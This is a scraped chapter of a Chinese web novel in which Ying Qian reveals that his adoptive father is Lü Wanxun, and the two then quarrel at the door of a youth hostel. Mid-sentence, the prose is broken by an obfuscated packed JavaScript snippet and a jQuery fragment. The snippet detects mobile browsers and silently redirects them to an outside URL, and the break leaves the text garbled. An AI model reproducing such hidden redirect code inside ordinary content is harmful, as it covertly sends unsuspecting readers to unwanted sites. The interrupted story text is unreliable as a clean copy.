“咦,你这是什么表情?失恋了一样。”
苏立青试探地问,“你追过他?”
“失败了。”应潜没有正面回答,但足以说明很多东西。
比如,他跟律万勋确实不是没有关系。
苏立青当即握着啤酒杯倒抽了一口凉气:“我靠!你真的追过他!”
应潜安静地垂下眼帘,抿了一小口果啤,“他是我养父。”
“啊?这更劲爆了!”苏立青的两眼放光。
一想到以后周边拿满拿到手抽筋的幸福生活他就浑身来劲儿,兴致勃勃地提议道,“如果我帮你追到他,岂不是天天都能看到他?”
应潜的头皮发麻:“我不追他了。”
“哦,那你们现在的关系不好啊。”苏立青垮着脸消停了,坐在他的对面,一口又一口地闷果啤。
“嗯。”他拿走桌上摊着的最后一串烤肉,轻轻地应了一声。
谁知道坐他对面的那家伙的眼珠转了转,想到了什么似的,突然一拍桌子站了起来。
应潜仰头:?
苏立青义愤填膺地大叫了起来,“不行!”
“你不跟他在一起了那我周边不就都没了吗?”
“喂我说,你必须跟他在一起!”
“……”应潜无语,露出我服了你了的眼神,摆手驱赶道,“滚滚滚。”
两人嗨完烧烤回了青年旅舍。
应潜躺在床上,双手露在被子外面搭在肚子上,对着结满蜘蛛网的灰黄色墙壁,眼神放空。
今天发生的所有事自动在他的脑子里过了一遍。
越想越想不明白:养父去找苏立青干什么。
他盯着手机屏幕看了几秒,大拇指悬在对话框上。
问还是不问?
……
最后他选择了点开输入框。
【yq:在吗?】
“叮咚。”
青旅329号房门外的一片黑翳之中,被拿在半空的手机震了震。
律万勋仰起脖子长舒出一口气,左手食指轻弹了两下烟灰,右手点开屏幕。
暗淡的蓝光照在他的脸上。
“小应。”律万勋对着手机屏幕喃喃着,单手在聊天框打下回复。
【AAA奋斗的意义:在。】
……
秒回?
应潜有些疑惑地看着手机,想不通为什么一向忙碌的养父今天变了。
要换做上辈子,他看到这个肯定很开心吧。
现在却没什么感觉了,继续正题到,【我能问你一个事儿吗?】
“……”律万勋站在门外吧嗒吧嗒地咬着烟头,眉头紧皱。
小应从15岁分化后,说话就开始变得跟他有距离感了。
他去请教有小孩的同僚,说是因为孩子长大了觉得再黏着他很丢脸。
律万勋仔细想了一夜,咋舌。也行吧。
本来已经差不多习惯。
想不到,现在看着小应对自己这么生分,心里还是不舒服。
烟雾缭绕。
左手指节处突然传来被灼烧的疼痛感。
律万勋猛地回神,发现自己已经抽完了一支烟,烟蒂夹在食指和中指之间,还剩了点橙色的火光。
“想问什么?你说。”
他直接用大拇指点开了屏幕右下角的录音键,低沉的嗓音潺潺。
坐在里面的应潜在手机上收到养父发来的新语音消息的同时听到了门外的声音,目光瞬间朝外看去。
为了确认刚才听到的那声是不是晚上喝多了产生的幻觉,应潜下床穿好衣服,打开房间门。
本来只是看一眼,没想到竟真的在外面看到了律万勋。
他心中惊讶,一时半会儿不知道该说些什么,嘴唇蠕动两下,站在暖黄的灯光里问,“你怎么来了。”
“哼,”律万勋没有正面回答,冷哼了一声过后咄咄逼人地反问。“我倒是要问问你,怎么到这种地方来了。”
可能是为了节约电费,外面的走廊在晚上没有开灯,黑沉沉的一片。
他的养父站在门外的阴影里,唇下叼着烧完了的烟蒂凝视他,脸上的表情换做别的普通人肯定看不清楚。
但猫头鹰Alpha在黑暗环境下的夜视能力极强。
对他来讲,晚上才是他的白天,所以应潜对他的养父现在脸上的表情一览无余。
阴沉的。
或者说,兴师问罪的。
真好笑。
上辈子他在客厅里坐着苦等他下班回来的时候,他一次也没有在他睡着之前回过家。
现在的他决定不等了,他却反而等在了他门前。
应潜叹着气摇了摇头,心想,有意思吗?
他虚倚在门框上,抬眼与养父四目相对,“你知道你在做什么吗?”
“我很忙。”律万勋突然说。他从上衣口袋取了一支新的烟出来“咔哒”点燃,叼在嘴里,边抽边说,“军部马上要出一件叛国案,是审我的。”
“叛国案?”应潜的双手抱在胸前,眼神中流露出疑惑与探寻。
上辈子他可从来都没听过养父提起这桩事,外面的新闻媒体也都没报道过,想必是子虚乌有的传闻,用不着他担心。
应潜的眉眼松开,“那你该去军部办事,来找我做什么。”
“呵。”
律万勋深深地往肺腑里吸了一口凉气,从喉间溢出一声冷哼。
“你说我来找你做什么。”养父的声音里带了点怒气,盯着他的两只蓝眼睛如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358059|199721||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冰,爆发出凌厉摄人的寒光。
“我本来早就该去军部办事了,现在却因为你莫名其妙的离家出走耽搁了。应潜,你能不能帮我省点心?”
律万勋发誓自己来之前绝对不是想这样说的。
他此行的目的是缓和关系,而不是逼迫小应。
但……
不知道为什么,一看到小应对自己满不在乎的态度,他就克制不住地生气。
说的话也变了。
“之前你说你要出去住读。现在开学了,你看看你住的是什么地方?”
“……”专门跑到他门口来就是为了说这个的吗。
还跑两趟。
应潜皱眉看着律万勋,没有说话。
那种窒息的感觉又涌了上来,像一条蛇缠住了他的颈子,冰凉的蛇鳞划过他的每一寸皮肤,慢慢收紧。
“呼,嗬呃。”他深吸着气,捂住自己的脖子,唇角勾起一抹浅笑。
养父问他为什么住到这里。
……
还能是为什么呢?小时候的那个孤儿院的宿舍小团体合起伙来整他的事情,直到现在都还历历在目。
所以。
他一点都不喜欢住宿舍,又怎么可能会真的去学校办住读呢?
但是这些话,应潜没打算跟律万勋讲。
讲了也没用。
因为哥哥在养父的心里一直是很沉稳的。
做不到的话,跟养父说了也只能挨一顿痛批罢了。
“还在怄气?”律万勋等了半天没等到后文,站在门外回顾了一遍应潜在离家出走之前发生过的所有事情,捏紧了手里的烟蒂,“不就是不小心提过一嘴你的哥哥吗?有什么好怄的?”
应潜没想到他会说这个,更没想到养父对他的雷点是这样的一副轻飘飘的态度,顿时喘不过气,脑子里嗡嗡地响。“走开!我不欢迎你!”
他要去关门,门把手却被律万勋死死地握住了。
“你凭什么不欢迎我。”律万勋的眼眸森然,磁性的嗓音里压抑着怒气。
弄得应潜也有点生气了,“我只是你没写在户口本上的养子而已!”
不知道律万勋这样做是出于什么原因,但总之。
“我可以认,也可以不认你这个父亲,你凭什么管我欢不欢迎你?”
“你再说一遍。”律万勋向来进退有度,此时却有些失去了理智,面含怒气,阴沉沉的站在门外,高阶信息素狂飙。一双蓝眼睛死死地盯着他。
应潜和他对视,刚想说些什么,突然皱了皱眉,“你身上烟味好重。”
拿走养父手中还冒着白烟的烟蒂转身走过卧床,走到了桌旁。
他把烟蒂摁灭在桌子上,拉开凳子,叹了一口气,“进来说话吧。”